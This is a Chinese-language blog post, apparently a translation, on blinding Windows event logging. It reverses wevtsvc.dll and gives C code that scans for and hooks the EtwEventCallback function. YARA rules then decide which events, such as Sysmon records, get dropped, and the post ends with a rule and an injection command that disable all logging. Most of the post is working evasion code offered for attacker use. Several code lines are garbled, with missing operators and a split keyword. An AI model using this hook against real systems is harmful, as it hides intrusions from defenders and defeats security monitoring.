写在前面的话
事件日志搭配Windows事件转发和Sysmon,将会成为一个非常强大的安全防御方案,可以帮助研究人员检测攻击者在目标设备上的每一步非法操作。很明显,这是攻击者需要解决的问题。如果不能实现提权的话,攻击者能绕过事件日志的方式还是有限的,一旦实现提权,那结果可就不同了。
那么,怎么做才能在过滤掉攻击活动日志的同时,保留住正常的事件日志呢?
几年之前,@hlldz曾发布过一款名叫Invoke-Phant0m的工具。这是一款Windows日志清理工具,它可以找到目标事件对应的进程,然后终止掉所有通过wevtsvc.dll运行的线程。这是因为wevtsvc.dll是一个事件日志服务,因此终止它以及相关线程就可以禁用掉日志记录功能了。但是,这样将停用所有的事件日志。那么为了解决这个问题,我们需要实现Invoke-Phant0m类似的功能,但需要支持事件报告过滤,这样就可以只阻止与恶意行为相关的事件被记录了。
逆向分析事件日志服务
在对wevtsvc.dll分析的过程中,我们发现它会通过OpenTraceW来打开一个追踪会话:
OpenTraceW使用EVENT_TRACE_LOGFILEW结构体作为参数,这个结构体包含了EventRecordCallback的值,它指向目标事件的一个回调函数。
使用windbg进行深入分析后,我发现这个回调函数就是wevtsvc!EtwEventCallback:
通过对回调函数代码进行反汇编,我发现它是一个调用了EventCallback的程序集:
在wevtsvc!EtwEventCallback上设置断点,我们就会发现它将在EVENT_RECORD结构体中接收事件信息:
代码语言:javascript复制typedef struct _EVENT_RECORD {
EVENT_HEADER EventHeader;
ETW_BUFFER_CONTEXT BufferContext;
USHORT ExtendedDataCount;
USHORT UserDataLength;
PEVENT_HEADER_EXTENDED_DATA_ITEM ExtendedData;
PVOID UserData;
PVOID UserContext;
} EVENT_RECORD, *PEVENT_RECORD;
EVENT_HEADER结构体中包含了大量事件详细信息,包括报告事件的提供方,在windbg的帮助下,我们可以获取到提供方的GUID:
拿到事件提供方的GUID后,我们就可以使用logman.exe来查询提供方身份了,这里我们可以看到提供方就是Microsoft-Windows-Sysmon:
我们可以在这里通过添加一个ret命令来篡改该函数,并阻止所有的事件报告生成:
在下图中,你可以看到我清楚掉了一条7:01创建的事件日志,并在7:04时添加了一个新用户,但是这个操作没有被记录下来,因为我们在回调函数代码中添加的ret指令能够让系统范围内的所有事件都不会被报告:
设置函数钩子
PoC正常执行后,我们就可以看是编写漏洞利用代码了。我们需要做的第一件事就是找到wevtsvc!EtwEventCallback的偏移量,这样我们就知道应该把函数钩子设置在哪里了。首先,我们要定位wevtsvc.dll的基地址。下面的代码可以获取该地址,并存储至dwBase变量中:
代码语言:javascript复制DWORD_PTR dwBase;
DWORD i, dwSizeNeeded;
HMODULE hModules[102400];
TCHAR szModule[MAX_PATH];
if (EnumProcessModules(GetCurrentProcess(), hModules, sizeof(hModules), &dwSizeNeeded))
{
for (int i = 0; i < (dwSizeNeeded / sizeof(HMODULE)); i )
{
ZeroMemory((PVOID)szModule, MAX_PATH);
if (GetModuleBaseNameA(GetCurrentProcess(), hModules[i], (LPSTR)szModule, sizeof(szModule) / sizeof(TCHAR)))
{
if (!strcmp("wevtsvc.dll", (const char*)szModule))
{
dwBase = (DWORD_PTR)hModules[i];
}
}
}
}
接下来,使用windbg来进行反汇编来查看回调开始时的字节位置,然后进行内存扫描,找到这些字节之后,我们也就找到了设置钩子的地方了:
下面这段代码将搜索从wevtsvc.dll基地址的起始字节0xfffff,以找到4883ec384c8b0d:
代码语言:javascript复制#define PATTERN "x48x83xecx38x4cx8bx0d"
DWORD i;
LPVOID lpCallbackOffset;
for (i = 0; i < 0xfffff; i )
{
if (!memcmp((PVOID)(dwBase i), (unsigned char*)PATTERN, strlen(PATTERN)))
{
lpCallbackOffset = (LPVOID)(dwBase i);
}
}
获取到偏移量后,我们可以调用memcpy来拷贝字节位置:
代码语言:javascript复制
代码语言:javascript复制memcpy(OriginalBytes, lpCallbackOffset, 50);
接下来,设置一个钩子来将所有针对EtwEventCallback的调用重定向到EtwCallbackHook:VOID HookEtwCallback()
{
DWORD oldProtect, oldOldProtect;
unsigned char boing[] = { 0x49, 0xbb, 0xde, 0xad, 0xc0, 0xde, 0xde, 0xad, 0xc0, 0xde, 0x41, 0xff, 0xe3 };
*(void **)(boing 2) = &EtwCallbackHook;
VirtualProtect(lpCallbackOffset, 13, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(lpCallbackOffset, boing, sizeof(boing));
VirtualProtect(lpCallbackOffset, 13, oldProtect, &oldOldProtect);
return;
}
但是,如果想要报告那些我们不需要阻止的事件,我们就需要恢复原先的回调执行了,因此我们还需要在它报告合法事件之后,重新设置钩子,以便捕捉后续事件。这里我们可以使用一个typedef来实现:
t
代码语言:javascript复制ypedef VOID(WINAPI * EtwEventCallback_) (EVENT_RECORD *EventRecord);
VOID DoOriginalEtwCallback( EVENT_RECORD *EventRecord )
{
DWORD dwOldProtect;
VirtualProtect(lpCallbackOffset, sizeof(OriginalBytes), PAGE_EXECUTE_READWRITE, &dwOldProtect);
memcpy(lpCallbackOffset, OriginalBytes, sizeof(OriginalBytes));
VirtualProtect(lpCallbackOffset, sizeof(OriginalBytes), dwOldProtect, &dwOldProtect);
EtwEventCallback_ EtwEventCallback = (EtwEventCallback_)lpCallbackOffset;
EtwEventCallback(EventRecord);
HookEtwCallback();
}
完成上述操作之后,我们就能够找到ETW回调函数的偏移量,然后将其挂钩到我们自己的函数并解析数据,最终解除回调并报告事件。
我们可以在windbg中看到解析后的事件:
YARA与模式匹配
接下来,我们就要实现日志过滤器了。在这里,我定义了下列宏来保持代码风格一致性:
下面的代码将创建一个YARA规则中对象,并在YRRulesScanMem中使用:
代码语言:javascript复制#define RULE_ALLOW_ALL "rule Allow { condition: false }"
YRInitalize();
RtlCopyMemory(cRule, RULE_ALLOW_ALL, strlen(RULE_ALLOW_ALL));
if (YRCompilerCreate(&yrCompiler) != ERROR_SUCCESS)
{
return -1;
}
if (YRCompilerAddString(yrCompiler, cRule, NULL) != ERROR_SUCCESS)
{
return -1;
}
YRCompilerGetRules(yrCompiler, &yrRules);
YARA规则写好后,我们就可以开始扫描内存了。下面我们会扫描包含格式化事件内容的StringBuffer变量,并将结果传递给YARA回调函数ToReportOrNotToReportThatIsTheQuestion。该函数将根据规则是否匹配而将dwReport变量设置为0或1。如果PIPE_NAME变量出现在事件中,还需要对其进行检查。因为EvtMuteHook.dll将使用一个命名管道来动态更新当前规则,这将会生成事件日志,所以这个检查将确保这些事件日志不会被报告:
代码语言:javascript复制INT ToReportOrNotToReportThatIsTheQuestion( YR_SCAN_CONTEXT* Context,
INT Message,
PVOID pMessageData,
PVOID pUserData
)
{
if (Message == CALLBACK_MSG_RULE_MATCHING)
{
(*(int*)pUserData) = 1;
}
if (Message == CALLBACK_MSG_RULE_NOT_MATCHING)
{
(*(int*)pUserData) = 0;
}
return CALLBACK_CONTINUE;
}
YRRulesScanMem(yrRules, (uint8_t*)StringBuffer, strlen(StringBuffer), 0, ToReportOrNotToReportThatIsTheQuestion, &dwReport, 0);
if (dwReport == 0)
{
if (strstr(StringBuffer, PIPE_NAME) == NULL)
{
DoOriginalEtwCallback(EventRecord);
}
}
禁用所有日志记录
我们可以使用下列YARA规则来在系统范围内禁用事件日志记录:
代码语言:javascript复制rule disable { condition: true }
接下来,将钩子注入到事件服务中:
代码语言:javascript复制.SharpEvtMute.exe --Inject
设置好钩子后,还需要添加过滤器:
现在,所有的事件都不会被记录。